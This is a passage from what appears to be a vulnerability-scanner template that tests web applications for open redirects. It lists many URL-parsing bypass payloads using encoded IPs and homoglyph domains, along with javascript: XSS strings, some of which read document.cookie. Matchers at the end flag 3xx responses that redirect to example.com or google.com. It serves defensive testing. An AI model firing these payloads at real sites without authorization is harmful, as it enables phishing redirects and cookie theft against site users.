        - 'http://{{Hostname}}@0xd8.0x3a.0xd6.0xce'
        - 'http:{{Hostname}}@0xd8.0x3a.0xd6.0xce'
        - 'http://{{Hostname}}@0xd8.3856078'
        - 'http:{{Hostname}}@0xd8.3856078'
        - 'http://{{Hostname}}@0xd83ad6ce'
        - 'http:{{Hostname}}@0xd83ad6ce'
        - 'http://{{Hostname}}@[::216.58.214.206]'
        - 'http:{{Hostname}}@[::216.58.214.206]'
        - 'http://{{Hostname}}%2eⓁ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/'
        - 'http://{{Hostname}}%2eexample.com/'
        - 'http://{{Hostname}}@3627734734'
        - 'http:{{Hostname}}@3627734734'
        - 'http://{{Hostname}}@472.314.470.462'
        - 'http:{{Hostname}}@472.314.470.462'
        - 'http://{{Hostname}}:80%40Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/'
        - 'http://{{Hostname}}:80%40example.com/'
        - 'http://{{Hostname}}@[::ffff:216.58.214.206]'
        - 'http:{{Hostname}}@[::ffff:216.58.214.206]'
        - 'http://{{Hostname}}@example.com/'
        - 'http://{{Hostname}}+&@example.com#+@{{Hostname}}/'
        - 'http://{{Hostname}}+&@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ#+@{{Hostname}}/'
        - 'http://www.example.com\.{{Hostname}}'
        - 'http://www.Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ\.{{Hostname}}'
        - 'http://XY>.7d8T\205pZM@00330.00072.0000326.00000316'
        - 'http:XY>.7d8T\205pZM@00330.00072.0000326.00000316'
        - 'http://XY>.7d8T\205pZM@00330.0x3a.54990'
        - 'http:XY>.7d8T\205pZM@00330.0x3a.54990'
        - 'http://XY>.7d8T\205pZM@00330.3856078'
        - 'http:XY>.7d8T\205pZM@00330.3856078'
        - 'http://XY>.7d8T\205pZM@0330.072.0326.0316'
        - 'http:XY>.7d8T\205pZM@0330.072.0326.0316'
        - 'http://XY>.7d8T\205pZM@0xd8.072.54990'
        - 'http:XY>.7d8T\205pZM@0xd8.072.54990'
        - 'http://XY>.7d8T\205pZM@0xd8.0x3a.0xd6.0xce'
        - 'http:XY>.7d8T\205pZM@0xd8.0x3a.0xd6.0xce'
        - 'http://XY>.7d8T\205pZM@0xd8.3856078'
        - 'http:XY>.7d8T\205pZM@0xd8.3856078'
        - 'http://XY>.7d8T\205pZM@0xd83ad6ce'
        - 'http:XY>.7d8T\205pZM@0xd83ad6ce'
        - 'http://XY>.7d8T\205pZM@[::216.58.214.206]'
        - 'http:XY>.7d8T\205pZM@[::216.58.214.206]'
        - 'http://XY>.7d8T\205pZM@3627734734'
        - 'http:XY>.7d8T\205pZM@3627734734'
        - 'http://XY>.7d8T\205pZM@472.314.470.462'
        - 'http:XY>.7d8T\205pZM@472.314.470.462'
        - 'http://XY>.7d8T\205pZM@[::ffff:216.58.214.206]'
        - 'http:XY>.7d8T\205pZM@[::ffff:216.58.214.206]'
        - 'http://XY>.7d8T\205pZM@{{Hostname}}@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/'
        - 'http://XY>.7d8T\205pZM@{{Hostname}}+@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/'
        - 'http://XY>.7d8T\205pZM@{{Hostname}}@example.com/'
        - 'http://XY>.7d8T\205pZM@{{Hostname}}+@example.com/'
        - 'ja\nva\tscript\r:alert(1)'
        - 'java%09script:alert(1)'
        - 'java%0ascript:alert(1)'
        - 'java%0d%0ascript%0d%0a:alert(0)'
        - 'java%0dscript:alert(1)'
        - 'Javas%26%2399;ript:alert(1)'
        - 'javascript://%0aalert(1)'
        - '<>javascript:alert(1);'
        - '//javascript:alert(1);'
        - '//javascript:alert(1)'
        - '/javascript:alert(1);'
        - '/javascript:alert(1)'
        - '\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)'
        - 'javascript:alert(1);'
        - 'javascript:alert(1)'
        - 'javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie)'
        - 'javascript:confirm(1)'
        - 'javascript://https://{{Hostname}}/?z=%0Aalert(1)'
        - 'javascript:prompt(1)'
        - 'jaVAscript://{{Hostname}}//%0d%0aalert(1);//'
        - 'javascript://{{Hostname}}?%a0alert%281%29'
        - '//Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ\t{{Hostname}}/'
        - '\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003aalert(1)'
        - '////{{Hostname}}@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ//'
        - '////{{Hostname}}@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/'
        - '///{{Hostname}}@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ//'
        - '///{{Hostname}}@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/'
        - '//Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/{{Hostname}}'
        - '//Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ\@{{Hostname}}'
        - '//{{Hostname}}@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ//'
        - '//{{Hostname}}@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/'
        - 'Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/{{Hostname}}'
        - '{{Hostname}};@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ'
        - '////{{Hostname}}@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e'
        - '///{{Hostname}}@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e'
        - '////{{Hostname}}@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e%2f'
        - '///{{Hostname}}@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e%2f'
        - '//{{Hostname}}@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e%2f'
        - '////{{Hostname}}@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f..'
        - '///{{Hostname}}@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f..'
        - '//{{Hostname}}@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f..'
        - '////{{Hostname}}@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f%2e%2e'
        - '///{{Hostname}}@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f%2e%2e'
        - '//{{Hostname}}@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f%2e%2e'
        - '/\{{Hostname}}:80%40example.com'
        - '{{Hostname}}@%E2%80%AE@example.com'
        - '////{{Hostname}}@example.com//'
        - '////{{Hostname}}@example.com/'
        - '///{{Hostname}}@example.com//'
        - '///{{Hostname}}@example.com/'
        - '//{{Hostname}}@example.com//'
        - '//{{Hostname}}@example.com/'
        - '{{Hostname}};@example.com'
        - '{{Hostname}}.example.com'
        - '////{{Hostname}}@example.com/%2e%2e'
        - '///{{Hostname}}@example.com/%2e%2e'
        - '////{{Hostname}}@example.com/%2e%2e%2f'
        - '///{{Hostname}}@example.com/%2e%2e%2f'
        - '//{{Hostname}}@example.com/%2e%2e%2f'
        - '////{{Hostname}}@example.com/%2f..'
        - '///{{Hostname}}@example.com/%2f..'
        - '//{{Hostname}}@example.com/%2f..'
        - '////{{Hostname}}@example.com/%2f%2e%2e'
        - '///{{Hostname}}@example.com/%2f%2e%2e'
        - '//{{Hostname}}@example.com/%2f%2e%2e'
        - '//{{Hostname}}+&@example.com#+@{{Hostname}}/'
        - '//{{Hostname}}@https:///Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e'
        - '//{{Hostname}}@https:///example.com/%2e%2e'
        - '//{{Hostname}}+&@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ#+@{{Hostname}}/'
        - '/x:1/:///%01javascript:alert(document.cookie)/'
        - '\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3aalert(1)'
        - '//XY>.7d8T\205pZM@{{Hostname}}@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/'
        - '//XY>.7d8T\205pZM@{{Hostname}}+@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/'
        - '//XY>.7d8T\205pZM@{{Hostname}}@example.com/'
        - '//XY>.7d8T\205pZM@{{Hostname}}+@example.com/'     
    stop-at-first-match: true
    matchers-condition: and
    matchers:

      - type: regex
        part: header
        regex:
          #- '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)example\.com\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)(example|google)\.com\/?(\/|[^.].*)?$' #https://regex101.com/r/eDGZXp/1
      - type: status
        status:
          - 301
          - 302
          - 307
          - 308
        condition: or